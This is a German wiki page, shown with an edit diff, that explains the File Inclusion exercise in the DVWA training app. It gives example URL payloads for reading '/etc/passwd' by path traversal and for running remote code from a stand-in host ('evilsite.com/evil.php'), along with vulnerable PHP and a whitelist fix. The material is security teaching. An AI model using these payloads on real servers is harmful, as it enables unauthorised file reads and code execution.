DVWA File Inclusion: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (2 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| + | =Problem= | ||
*Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | *Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet. | ||
| Zeile 16: | Zeile 17: | ||
<?php | <?php | ||
$file = $_GET[ 'page' ]; | $file = $_GET[ 'page' ]; | ||
| − | *Wird die Variable $file im weiteren Verlauf ohne Kontrolle verwendet, kann es zu dieser Schwachstelle kommen. | + | .... |
| + | *Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen. | ||
| + | *Beispiel für eine sichere Kontrolle: | ||
| + | if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { | ||
| + | echo "ERROR: File not found!"; | ||
| + | exit; | ||
| + | } | ||
=Gegenmassnahmen= | =Gegenmassnahmen= | ||
*Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen. | *Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen. | ||
Aktuelle Version vom 8. Juli 2021, 08:58 Uhr
Problem
- Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.
Local File Inclusion
- Ausführen einer Datei, die lokal auf dem Server vorliegt.
- z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)
Remote File Inclusion
- Download und Ausführen einer Datei von extern.
- z.Bsp. Anpassen der URL: ...?page=http://www.evilsite.com/evil.php
Ursache
- Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
- z. Bsp. PHP:
<?php $file = $_GET[ 'page' ]; ....
- Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen.
- Beispiel für eine sichere Kontrolle:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
echo "ERROR: File not found!";
exit;
}
Gegenmassnahmen
- Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.